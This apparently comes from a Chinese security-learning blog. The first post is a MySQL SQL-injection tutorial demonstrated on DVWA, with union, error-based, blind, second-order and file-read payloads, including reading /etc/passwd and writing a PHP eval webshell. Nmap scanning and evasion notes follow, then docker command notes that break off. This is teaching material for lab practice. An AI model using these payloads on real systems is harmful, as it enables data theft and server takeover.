将字符串中的字母转换为大写</li><li>LEFT(s,n) 函数返回字符串 s 最左边的 n 个字符。</li><li>RIGHT(s,n)返回字符串 s 最右边边的 n 个字符。</li><li>TRIM( ) 删除字符串左右两侧的空格</li><li>SUBSTR(s,n,len) ,从字符串 s 返回一个长度同 len 字符相同的子字符串,起始于位置 n。</li></ul><hr><p><strong>其他函数</strong></p><ul><li>SLEEP(N) 等待 N秒</li><li>IF(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。如<br><code>select IF(SUBSTRING((select User from user limit 1),1,1)='d',sleep(1),1);</code><br>该语句从获取User表中User列第一个数据的第一个值,并和d作比较,如果相等sleep 6秒, 否则直接返回, 用于延时注入 </li><li>updatexml (XML_document, XPath_string, new_value); 改变文档中符合条件的节点的值。找不到传入的Xpath值会报错,如<br><code> select * from user where 1=1 and updatexml(1,concat('~',@@version,'~'),2);</code><br>该语句中重点是and后面的语句, update无法匹配到正确的Xpath,但是会将括号内的执行结果以错误的形式报出,用于报错注入</li><li>exp(X)此函数返回e(自然对数的底)的X次方的值。如果传入的X值溢出会报错。如<br><code>select exp(~(select*from(select user())x));</code> (不过在我的8.0.23版本MySQL上测试失败)</li><li>rand(x)取随机数,若有参数x,则每个x对应一个固定的值,如果连续多次执行会变化,但是可以预测</li><li>floor 返回<strong>小于等于</strong>该值的最大整数.</li></ul><h3 id="3-其他补充"><a href="#3-其他补充" class="headerlink" title="3. 其他补充"></a>3. 其他补充</h3><p><strong>Mysql中的四种注释符号</strong></p><ol><li>–(后面跟上空格)<br>注:在url输入通常为–+ ,即使用+号替代空格</li><li>/* 注释内容 */</li><li>/*!注释内容 */<br>这种注释在mysql中叫做内联注释,当!后面所接的数据库版本号时,当实际的版本等于或是高于那个字符串,应用程序就会将注释内容解释为SQL,否则就会当做注释来处理。默认的,当没有接版本号时,是会执行里面的内容的。</li><li><h1 id><a href="#" class="headerlink" title></a></h1></li></ol><p><strong>desc 数据表</strong></p><p>获取指定表的字段信息</p><p>如desc user;</p><p><strong>order by num</strong></p><p>order by 会根据后面的值作为参考,对结果进行排序。</p><p>如 order by 2 会按照第二列进行排序</p><p>如果num 的值超过结果的字段数会报错。</p><p><strong>查询其他数据库中的数据</strong></p><p>通常需要使用 use 命令指定一个数据库后 才能对数据库中的表进行操作。</p><p>可以通过 <code> 数据库名.表名</code> 对其他数据库中的表进行操作</p><p><strong>information_schema数据库</strong></p><p>是mysql自带的数据库。存储着所有数据库 、数据表、数据列、用户等信息。</p><p>在SQL注入中常用的表为SCHEMATA表、TABLES表、COLUMNS表</p><p>具体表如下: </p><ul><li>SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。</li><li>TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。</li><li>COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。</li><li>STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。</li><li>USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。</li><li>SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。</li><li>TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。</li><li>COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。</li><li>CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。</li><li>COLLATIONS表:提供了关于各字符集的对照信息。</li><li>COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。</li><li>TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。</li><li>KEY_COLUMN_USAGE表:描述了具有约束的键列。</li><li>ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。</li><li>VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。</li><li>TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表</li></ul><h2 id="常见注入分类"><a href="#常见注入分类" class="headerlink" title="常见注入分类"></a>常见注入分类</h2><h3 id="1-数字型注入和字符型注入"><a href="#1-数字型注入和字符型注入" class="headerlink" title="1. 数字型注入和字符型注入"></a>1. 数字型注入和字符型注入</h3><p><strong>两种注入区别</strong></p><pre><code class="mysql">数字型注入查询语句select * from user where passwd=1;字符型注入查询语句select * from user where passwd='1';两者的主要区别是, 字符型注入在实际操作的时候需要考虑到引号的闭合如数字型注入select * from user where passwd=-1 union select passwd from user;其payload为: -1 union select passwd from user字符型注入select * from user where passwd='-1' union select passwd from user -- ';其payload为: -1' union select passwd from user -- '</code></pre><p><strong>如何判断数字型注入和字符型注入</strong></p><p>通过使用逻辑运算符判断</p><pre><code class="mysql">数字型注入select * from user where passwd=1; #正常返回select * from user where passwd=1 and 1=1; # 跟上一个返回同样结果select * from user where passwd=1 and 1=2; # 返回为空字符型注入select * from user where passwd='1';select * from user where passwd='1 and 1=1';# 使用数字型注入的Payload返回空select * from user where passwd='1' and '1'='1'; # 返回正常页面,则为字符型注入(注意最后的单引号闭合)select * from user where passwd='1' and 1=1 -- '; #也可使用 注释符号去掉单引号</code></pre><p><strong>注</strong></p><p>如果查询语句条件的值使用引号,而值对应的字段的具体的类型为数字型(int 等),情况较为特殊,参考最下文的补充</p><h3 id="2-可回显注入"><a href="#2-可回显注入" class="headerlink" title="2. 可回显注入"></a>2. 可回显注入</h3><p><strong>联合查询注入</strong></p><blockquote><p>当我们查询的数据库信息会回显到浏览器上时,考虑使用联合查询注入</p><p>流程:</p><ol><li>判断为字符型or数字型注入</li><li>使用 union或者 order by(推荐) 判断结果的字段数</li><li>使用union 判断能够在浏览器上显示的字段(如字段数为5 , 使用union select 1,2,3,4,5 判断哪一个字段能够在浏览器上显示)</li><li>获取信息 ….</li></ol></blockquote><blockquote><p>这里使用dvwa low难度进行具体的演示</p><p>关键查询语句为</p><p><code>$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";</code></p><p>输入 1</p><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20210516112342059.png" alt="image-20210516112342059"></p><p>判断是否为字符型</p><p>… 略 源代码为字符型</p><p>注意, 下面的输入 在 – 后面都有空格</p><p>判断显示字段( -1’ union select 1,2 – )</p><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20210516124646448.png" alt="image-20210516124646448"></p><p>使用自带函数获取敏感信息(-1’ union select database(),@@datadir – )</p><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20210516124826965.png" alt="image-20210516124826965"></p><hr><p>开始手工获取信息</p><ol><li><p>获取数据库信息( 通过更改offset的值遍历数据库)</p><p>在information_schema.SCHEMATA的SCHEMA_NAME列存储的是数据库的名字<br>-1’ union select (select SCHEMA_NAME from information_schema.SCHEMATA limit 1 offset 0),2 –<br>-1’ union select (select SCHEMA_NAME from information_schema.SCHEMATA limit 1 offset 1),2 –<br>-1’ union select (select SCHEMA_NAME from information_schema.SCHEMATA limit 1 offset 2),2 – </p><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20210516134928345.png" alt="image-20210516134928345"></p></li><li><p>从dvwa数据库中获取数据表信息<br>-1’ union select (select table_name from information_schema.tables where TABLE_SCHEMA=’dvwa’ limit 1 offset 0),2 –<br>-1’ union select (select table_name from information_schema.tables where TABLE_SCHEMA=’dvwa’ limit 1 offset 1),2 –<br><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20210516140446014.png" alt="image-20210516140446014"> </p></li><li><p>获取guestbook数据表的字段信息<br>-1’ union select (select column_name from information_schema.columns where TABLE_NAME=’guestbook’ limit 1 offset 1),2 –<br><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20210516140730824.png" alt="image-20210516140730824"></p></li><li><p>获取该列具体数据(此时已知了数据库、表等信息可直接查询)<br>-1’ union select (select comment from dvwa.guestbook limit 1 offset 0),2 –<br><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20210516140952510.png" alt="image-20210516140952510"></p></li></ol></blockquote><hr><p><strong>报错注入</strong></p><p>当我们在应用中输入异常数据、或者使用内置函数报错导致SQL语句执行失败时,有的时候web服务器会返回错误信息。</p><p>报错注入的本质是</p><ol><li>传入的参数中包含了内置函数</li><li>内置函数的参数为获取信息的语句</li><li>函数执行失败</li><li>web服务器返回报错</li></ol><p>在dvwa中输入<code>1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) -- </code></p><p>数据库会将<code>concat(0x7e,(select user()),0x7e)</code> 的结果值作为xmlpath,因为找不到这一路径导致报错</p><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20210516221459561.png" alt="image-20210516221459561"></p><p>将concat中的select user() 换成其他的值即可进行报错注入</p><pre><code class="mysql">#获取数据库1' and updatexml(1,concat(0x7e,(select SCHEMA_NAME from information_schema.SCHEMATA limit 1 offset 0),0x7e),1) -- #获取数据表1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where TABLE_SCHEMA='dvwa' limit 1 offset 0),0x7e),1) -- #获取列1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where TABLE_NAME='guestbook' limit 1 offset 1),0x7e),1) -- #获取信息1' and updatexml(1,concat(0x7e,(select comment from dvwa.guestbook limit 1 offset 0),0x7e),1) -- </code></pre><p>常用函数以及payload</p><ul><li>floor() #原理较为复杂,建议研究一下<a href="https://www.cnblogs.com/sfriend/p/11365999.html">https://www.cnblogs.com/sfriend/p/11365999.html</a><br><code>1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) --</code></li><li>extractvalue()<br><code>1' and extractvalue(1,concat(0x7e,(select user()),0x7e)) --</code></li><li>updatexml()<br><code>1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --</code></li><li>geometrycollection()<br><code>1' and geometrycollection((select * from(select * from(select user())a)b)) --</code></li><li>multipoint()<br><code>1' and multipoint((select * from(select * from(select user())a)b)) --</code></li><li>polygon()<br><code>1' and polygon((select * from(select * from(select user())a)b)) --</code></li><li>multipolygon()<br><code>1' and multipolygon((select * from(select * from(select user())a)b)) --</code></li><li>linestring()<br><code>1' and linestring((select * from(select * from(select user())a)b)) --</code></li><li>multilinestring()<br><code>1' and multilinestring((select * from(select * from(select user())a)b)) --</code></li><li>exp()<br><code>1' and exp(~(select * from(select user())a)) --</code></li></ul><hr><p><strong>堆叠注入</strong></p><p>堆叠注入的产生原因是一次执行多条SQL语句。</p><p>堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制。</p><p>如在PHP中,<code>mysqli_multi_query()</code>函数可以多语句查询SQL。</p><p>在正常应用中出现的可能性较低。</p><p><a href="https://blog.csdn.net/weixin_45146120/article/details/101037211">https://blog.csdn.net/weixin_45146120/article/details/101037211</a></p><hr><h3 id="3-无回显注入"><a href="#3-无回显注入" class="headerlink" title="3. 无回显注入"></a>3. 无回显注入</h3><blockquote><p>有的时候,服务器端并不会返回查询结果给客户端,这时候就不能直接通过SQL注入获取信息,</p><p>可以考虑通过条件语句判断,根据服务器返回情况进行数据猜解。</p><p>这种注入需要逐个字符地猜解,因此速度较慢。</p></blockquote><p><strong>基于布尔注入</strong></p><p>Bool盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。</p><p>构造Payload的思路: </p><ol><li>要获取的目标数据的语句. 如<code>select password from user limit 1</code> , 又或是函数 <code>user()</code>;</li><li>截取其中的字符, 使用 <code>substr</code> , <code>left</code> , <code>right</code> 等函数, 如 <code>substr(user(),1,1)</code>;</li><li>进一步处理截取结果: 为了编写脚本方便. 可以将截取结果转换为16进制或ASCLL码对应的数字值,如<code>ascii(substr(user(),1,1))</code></li><li>比较字符 <code>if(ascii(substr(user(),1,1))=96,1,0)</code> 相等则为true 不相等为false</li><li>拼接payload <code>1' and if(ascii(substr(user(),1,1))=96,1,0) -- </code><br><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20210520155335091.png" alt="image-20210520155335091"></li><li>在脚本中最好使用二分法猜解字符</li></ol><p><strong>基于延时注入</strong></p><p>有时候SQL注入不仅没有回显,服务器也不会根据条件返回不同的页面,这时候考虑延时注入。</p><p>延时注入可以使用sleep或者benchmark等函数</p><p>他们的使用类似布尔注入,只需将IF中的返回结果替换即可</p><p>如</p><p><code>1' and if(ascii(substr(user(),1,1))=97,sleep(4),0) -- </code></p><h3 id="4-二次注入"><a href="#4-二次注入" class="headerlink" title="4. 二次注入"></a>4. 二次注入</h3><p>二次注入是通过与数据库服务器进行交互的过程再次进行注入</p><p>如已知管理员用户为admin</p><p>修改密码的SQL语句为 <code>update users set password='__ ' where username ='__ 'and password='__ ';</code></p><p>注册账号 admin’ – - 密码123456</p><p>登录该账号,修改密码 为1111</p><p>提交修改密码执行的语句为 <code>update users set password='1111' where username ='admin' -- - and password='123456';</code></p><p>因为注释的原因实际执行的语句为 <code> update users set password='1111' where username ='admin'</code></p><h3 id="5-通过SQL注入读写文件"><a href="#5-通过SQL注入读写文件" class="headerlink" title="5. 通过SQL注入读写文件"></a>5. 通过SQL注入读写文件</h3><blockquote><p>关于各种权限</p><p><a href="https://www.jb51.net/article/65645.htm">https://www.jb51.net/article/65645.htm</a></p></blockquote><p><strong>读文件Payload</strong></p><p><code>1' union select 1,load_file("/etc/passwd") -- </code></p><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20210520163309519.png" alt="image-20210520163309519"></p><p><strong>写文件Payload</strong></p><p>通过写文件 可以写入一个webshell,前提是能够获得web服务的路径</p><pre><code class="mysql">1' union select 1,"<?php @eval($_GET[x]);?>",3,4,5 into outfile 'C:/Inetpub/wwwroot/cc.php'</code></pre><h2 id="防御SQL注入"><a href="#防御SQL注入" class="headerlink" title="防御SQL注入"></a>防御SQL注入</h2><h3 id="1-过滤敏感参数"><a href="#1-过滤敏感参数" class="headerlink" title="1. 过滤敏感参数"></a>1. 过滤敏感参数</h3><ul><li>黑名单</li><li>白名单</li></ul><h3 id="2-使用参数化查询"><a href="#2-使用参数化查询" class="headerlink" title="2. 使用参数化查询"></a>2. 使用参数化查询</h3><h2 id="其他补充"><a href="#其他补充" class="headerlink" title="其他补充"></a>其他补充</h2><h3 id="1-关于字段类型"><a href="#1-关于字段类型" class="headerlink" title="1.关于字段类型"></a>1.关于字段类型</h3><p>在dvwa low测试中</p><p>输入 1 和 1+字符串(如1a , 1aaaaaa) 返回结果相同</p><p>而查询语句为</p><pre><code class="mysql">SELECT first_name, last_name FROM users WHERE user_id = '1';SELECT first_name, last_name FROM users WHERE user_id = '1a';SELECT first_name, last_name FROM users WHERE user_id = '1aaaaaaa';</code></pre><p>查看数据库描述</p><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20210516113943902.png" alt="image-20210516113943902"></p><p>发现 user_id字段的类型为int类型</p><p>Mysql 对于数字类型的值查询 ,如果加了单引号会将其转换为数字类型 具体转换规则 …</p>]]></content>
<categories>
<category> web安全漏洞篇 </category>
</categories>
<tags>
<tag> web漏洞 </tag>
<tag> MySQL </tag>
</tags>
</entry>
<entry>
<title>nmap使用</title>
<link href="/2021/04/21/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/nmap%E4%BD%BF%E7%94%A8/"/>
<url>/2021/04/21/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/nmap%E4%BD%BF%E7%94%A8/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p><img src="/2021/04/21/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/nmap%E4%BD%BF%E7%94%A8/image-20210421195723482.png" alt="image-20210421195723482"></p><p><a href="https://blog.csdn.net/Jeanphorn/article/details/45419237">https://blog.csdn.net/Jeanphorn/article/details/45419237</a></p><h2 id="nmap功能"><a href="#nmap功能" class="headerlink" title="nmap功能:"></a>nmap功能:</h2><ul><li>主机发现功能</li><li>端口扫描功能</li><li>服务及版本探测</li><li>操作系统检测</li><li>漏洞扫描</li><li>waf检测</li><li>…..</li></ul><p><em><span id="more"></span></em> </p><h2 id="主机发现"><a href="#主机发现" class="headerlink" title="主机发现"></a>主机发现</h2><h3 id="常用参数"><a href="#常用参数" class="headerlink" title="常用参数"></a>常用参数</h3><p><code>-sn </code>只进行主机发现,不进行端口扫描</p><p><code>-Pn</code> 关闭主机发现</p><p><code>-PR</code> 使用ARP协议进行内网主机发现</p><p><code>-PE</code> 使用ICMP的Echo Ping扫描</p><p><code>-PP</code> 使用ICMP的时间戳主机发现</p><p><code>-PM</code> 使用ICMP地址掩码主机发现</p><p><code>-PS</code> 使用TCP的 SYN包进行扫描</p><p><code>-PA </code> 使用TCP的 ACK包进行扫描(响应为RST)</p><p><code> -PU</code>使用UDP协议进行扫描</p><p><code>-PY</code> 使用SCTP协议进行扫描(不常用,支持这种协议的主机不多)</p><p><code>-PO</code> 使用IP数据包进行扫描(-PO = -PO 1,2,4 默认使用ICMP IGMP IP-in-IP)</p><p><code>-n </code>取消域名解析</p><p><code>-R</code> 解析域名 (可以使用–dns-servers [server1,server2..] 指定DNS服务器)</p><p><code>--data-length</code>在数据包中添加随机数据。</p><h2 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h2><p><img src="/2021/04/21/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/nmap%E4%BD%BF%E7%94%A8/image-20210421195324513.png" alt="image-20210421195324513"></p><p><strong>STATE列展示端口的状态</strong></p><ul><li><code>open</code>:如果目标端口的状态为open,这表明在该端口有应用程序接收TCP连接或者UDP报文</li><li><code>closed</code>:如果目标端口的状态为closed,这里要注意closed并不意味着没有任何反应,状态为closed的端口是可访问的,这种端口可以接收Nmap探测报文并做出响应。相比较而言,没有应用程序在open上监听。</li><li><code>filtered</code>:产生这种结果的原因主要是存在目标网络数据包过滤,由于这些设备过滤了探测数据包,导致Nmap无法确定该端口是否开放。这种设备可能是路由器、防火墙甚至专门的安全软件。</li><li><code>unfiltered</code>:这种结果很少见,它表明目标端口是可以访问的,但是Nmap却无法判断它到底是open还是closed的。通常只有在进行ACK扫描时才会出现这种状态。</li><li><code>open | filtered</code>:无法确定端口是开放的还是被过滤了,开放的端口不响应就是一个例子。</li><li><code>closed|filtered</code>:无法确定端口是关闭的还是被过滤了。只有在使用idle扫描时才会发生这种情况</li></ul><h3 id="参数"><a href="#参数" class="headerlink" title="参数"></a>参数</h3><p><code>-p [port] </code>指定端口 格式为[a-b] / [a,b,c,d]</p><p><code>-F </code>指定 100 个常用的端口</p><p><code>-p U:[port],P:[port] </code>使用协议指定扫描端口</p><p><code>-p *</code> 扫描所有端口</p><p><code>--top-ports</code> 常见端口扫描</p><p>对目标192.168.153.131的53端口进行UDP扫描,25端口进行TCP扫描,命令如下。</p><pre><code class="bash">nmap -sU -sT -p U:53,T:80,22 102.111.111.33</code></pre><p><strong>TCP扫描</strong></p><p><img src="/2021/04/21/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/nmap%E4%BD%BF%E7%94%A8/image-20210421200030004.png" alt="image-20210421200030004"></p><p><code>-sT </code>进行完整的TCP三次握手</p><p><code>-sS </code>发送syn数据包进行端口扫描 </p><p><code>-sF </code>发送一个FIN数据包 , 若没关闭,会响应一个RST标志</p><p><code>-sN </code>NULL扫描 按照RFC793的规定,对于所有关闭的端口,目标系统应该返回RST标志。</p><p><code>-sX </code>向目标端口发送一个含有FIN、URG和PUSH标志的数据包。按照RFC 793的规定,对于所有关闭的端口,目标系统应该返回RST标志</p><p><strong>UDP扫描</strong></p><p><img src="/2021/04/21/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/nmap%E4%BD%BF%E7%94%A8/image-20210421200322812.png" alt="image-20210421200322812"></p><p><code>-sU</code> 发送UDP数据包进行扫描</p><p><strong>IDLE扫描(空闲扫描)</strong></p><p>nmap <code>-sI</code> 僵尸主机IP 目标主机IP</p><p>原理介绍: </p><pre><code>1. 首先向僵尸主机发送SYN/ACK数据包,获取僵尸主机的 RST数据包ID (假设值为`a`)2. 发送带有僵尸主机IP的伪地址SYN数据包给目标主机3. 如果目标端口不开放,会响应一个RST包,如果目标端口开放,目标主机向僵尸主机响应SYN/ACK报文,僵尸主机发现这个非法连接响应,并向目标主机发送RST报文(`a+1`),此时IPID号开始增长。4. 向僵尸主机发送另一个SYN/ACK报文并检查僵尸主机RST报文中的IPID是否为`a+2`,若是则开放,若为`a+1`则未开放</code></pre><h2 id="操作系统与服务检测"><a href="#操作系统与服务检测" class="headerlink" title="操作系统与服务检测"></a>操作系统与服务检测</h2><h3 id="操作系统探测"><a href="#操作系统探测" class="headerlink" title="操作系统探测"></a>操作系统探测</h3><p><strong>通过向目标发送探针,然后根据目标的回应来猜测系统。</strong></p><p>这个探针大都是以TCP和UDP数据包的形式,检查的细节包括初始序列号(ISN)、TCO选项、IP标识符(ID)数字时间戳、显示拥塞通知(ECN)、窗口大小等。每个操作系统对于这些探针都会做出不同的响应,这些工具提取出这些响应中的特征,然后记录在一个数据库中。</p><p>Nmap进行识别的探针和响应对应的关系保存在<code>Nmap-os-db</code>文件中。</p><p>Nmap会尝试验证如下参数。</p><ul><li>供应商的名字:操作系统的供应商的名字,比如微软或者SUN。▯ 操作系统:操作系统的名字,比如Windows、Mac OS X、Linux等。</li><li>操作系统的版本:比如Windows XP、Windows 2000、Windows2003、Windows 2008等。 </li><li>当前设备的类型:比如通用计算机、打印服务器、媒体播放器、路由器、WAP或者电力装置等。</li></ul><p>除了这些参数以外,操作系统检测还提供了关于系统运行时间和TCP序列可预测性信息的分类</p><p>在命令行中使用-O参数通过端口扫描来完成对操作系统的扫描</p><p><code>--osscan-limit </code>只对满足”至少分别有一个状态为open和closed的端口” 条件的主机进行操作系统探测</p><p><code>--osscan-guss</code> 猜测最接近目标的操作系统</p><p><code>--max-retries</code> 对操作系统尝试的次数,默认为5</p><h3 id="端口服务探测"><a href="#端口服务探测" class="headerlink" title="端口服务探测"></a>端口服务探测</h3><p><code>-sV </code>进行服务和版本检测</p><p><code>-A </code>同时打开操作系统和版本探测</p><h2 id="其他参数"><a href="#其他参数" class="headerlink" title="其他参数"></a>其他参数</h2><p><code>-f </code>使用-f选项可以对Nmap发送的探测数据包进行分段。这样将原来的数据包分成几个部分,目标网络的防御机制例如包过滤、防火墙等在对这些数据包进行检测的时候就会变得更加困难。另外必须谨慎使用这个选项,一些老旧的系统在处理分段的包时经常会出现死机的情况。</p><p> <code>-mtu</code>(使用指定的MTU)</p><p><code> -D <decoy1 [, decoy2][, ME], ...></code> 指定源IP,进行伪装</p><p><code>-oN xxx.txt 192.168.1.1</code> 扫描结果保存为txt文件</p><p><code>-oX xxx.xml 192.168.1.1</code> 扫描结果保存为xml文件</p><p><code>-oG xxx.xml 192.168.1.1</code> 扫描结果保存为grep文件</p><p><code>-iL</code> 从指定文件 中获得目标</p><p><code>-sC</code>利用default(默认)分类中所有脚本对目标进行检测。这个分类中的脚本一般不会对目标系统造成任何危害。但是有些脚本可能会引起目标系统上的安全防御措施的警报。普通的用户权限并不能发送原始套接字,这样将会导致扫描的过程变得很慢。而root权限的用户在使用Nmap时,默认的扫描方式就是SYN扫描。</p><p><code>--script </code> 使用指定的脚本对目标进行扫描</p><p><code>--script-args</code> 指定脚本的参数</p>]]></content>
<categories>
<category> web安全工具篇 </category>
</categories>
<tags>
<tag> 渗透测试 </tag>
<tag> 工具使用 </tag>
</tags>
</entry>
<entry>
<title>docker相关</title>
<link href="/2021/04/20/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/docker%E7%9B%B8%E5%85%B3/"/>
<url>/2021/04/20/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/docker%E7%9B%B8%E5%85%B3/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="安装docker"><a href="#安装docker" class="headerlink" title="安装docker"></a>安装docker</h2><p><strong>卸载旧的docker:</strong></p><pre><code>sudo yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine</code></pre><p><strong>设置仓库,配置加速:</strong></p><pre><code>sudo yum install -y yum-utilssudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo</code></pre><p><strong>更新yum索引:</strong></p><pre><code>yum makecache fast</code></pre><p><strong>安装docker引擎</strong>:</p><pre><code>1.安装最新版本的docker引擎,容器$ sudo yum install docker-ce docker-ce-cli contanerd.io ce:社区版 ee:企业版</code></pre><p><strong>启动docker:</strong></p><pre><code>sudo systemctl start docker</code></pre><p><strong>基本测试:</strong></p><pre><code>docker version</code></pre><p><em><span id="more"></span></em> </p><h2 id="Docker基本命令"><a href="#Docker基本命令" class="headerlink" title="Docker基本命令"></a>Docker基本命令</h2><h3 id="帮助命令"><a href="#帮助命令" class="headerlink" title="帮助命令"></a>帮助命令</h3><pre><code>docker version # 显示docker的版本信息docker info # 显示docker的系统信息,包括镜像和容器的数量docker 命令 --help# 帮助命令</code></pre><h3 id="镜像命令"><a href="#镜像命令" class="headerlink" title="镜像命令"></a>镜像命令</h3><p><strong>docker images :</strong></p><pre><code>root@iZiiwad3d3m7zzZ ~# docker imagesREPOSITORY TAG IMAGE ID CREATED SIZEhello-world latest bf756fb1ae65 4 months ago 13.3kB#解释REPOSITORY 镜像的仓库源TAG 镜像的标签IMAGE ID 镜像的IDCREATED 镜像创建的时间 SIZE 镜像的大小# 可选项Options: -a, --all Show all images (default hides intermediate images) --digests Show digests -q, --quiet Only show numeric IDs# 示例:docker images -aq 显示本地所有的镜像的id(后面可以用于批量管理的操作)</code></pre><p><strong>docker search 搜索镜像</strong></p><pre><code>docker serach mysqlNAME DESCRIPTION STARS OFFICIAL AUTOMATEDmysql MySQL is a widely used, open-source relation… 9500 [OK]mariadb MariaDB is a community-developed fork of MyS… 3444 [OK]#根据关键词在仓库中搜索镜像并安stars数排序返回#可选项 过滤--filter=STARS=3000</code></pre><p><strong>docker pull 下载镜像</strong></p><pre><code># docker pull 镜像名 默认下载最新镜像# 下载指定版本的镜像: docker pull 镜像名[:tag] Pull an image or a repository from a registryOptions: -a, --all-tags Download all tagged images in the repository --disable-content-trust Skip image verification (default true) -q, --quiet Suppress verbose outputroot@iZiiwad3d3m7zzZ ~# docker pull mysqlUsing default tag: latest # 不写tag 默认最新latest: Pulling from library/mysql5b54d594fba7: Pull complete # 分层下载 docker image的核心 联合文件系统07e7d6a8a868: Pull completeabd946892310: Pull completedd8f4d07efa5: Pull complete076d396a6205: Pull completecf6b2b93048f: Pull complete530904b4a8b7: Pull completefb1e55059a95: Pull complete4bd29a0dcde8: Pull completeb94a001c6ec7: Pull completecb77cbeb422b: Pull complete2a35cdbd42cc: Pull completeDigest: sha256:dc255ca50a42b3589197000b1f9bab2b4e010158d1a9f56c3db6ee145506f625 # 签名Status: Downloaded newer image for mysql:latestdocker.io/library/mysql:latest # 真实地址docker pull mysql等价于docker pull docker.io/library/mysql:latest# 指定 版本下载:docker pull mysql:5.7</code></pre><p><strong>docker rmi 删除镜像</strong></p><pre><code>#删除指定id镜像docker rmi -f 镜像id[ 镜像id2 ...]#删除全部镜像docker rmi -f $(docker images -aq) </code></pre><h3 id="容器命令"><a href="#容器命令" class="headerlink" title="容器命令"></a>容器命令</h3><p><strong>说明:本地有了镜像后,才可以创建容器,这里使用一个centos镜像来测试学习</strong></p><pre><code>docker pull centos</code></pre><p><strong>新建容器并启动</strong></p><pre><code>docker run [可选参数] images# 参数说明--name="centos1" 指定容器名字用来区分容器-d 指定后台方式于宁-it 使用交互方式运行 (进入容器)-p 指定容器的端口 使用方式: -p ip:主机端口:容器端口 -p 主机端口:容器端口 (进行映射,使得外部可以通过指定的端口访问容器) -p 容器端口 容器端口-P 随机指定端口 # 启动并进入容器[root@iZiiwad3d3m7zzZ ~]# docker run -it centos /bin/bash[root@b7c147e9497f /]# lsbin etc lib lost+found mnt proc run srv tmp vardev home lib64 media opt root sbin sys usr# 通过ls可以看到这就是一个小型的centos环境</code></pre><p><strong>退出容器</strong></p><pre><code>从容器中退出exit# 容器停止退出Ctrl+P+Q #容器不停止退出</code></pre><p><strong>列出所有运行中的容器</strong></p><pre><code>docker ps 默认为显示运行中的容器 -a 查看创建的容器(包括没有在运行的) -n=? 显示最近创建的容器 n表示条数 -q 仅显示创建的容器的iddocker ps -aq 查看所有创建的容器的id</code></pre><p><strong>删除容器</strong></p><pre><code># 删除指定id的容器docker rm 容器id # 不能删除正在运行中的容器 强制删除需带上参数 -f# 递归删除所有的容器docker rm -f $(docker ps -aq)docker ps -aq | xargs docker rm </code></pre><p><strong>启动和停止容器的操作</strong></p><pre><code>docker start id #启动容器docker restart id #重启容器docker stop #停止运行中的容器docker kill 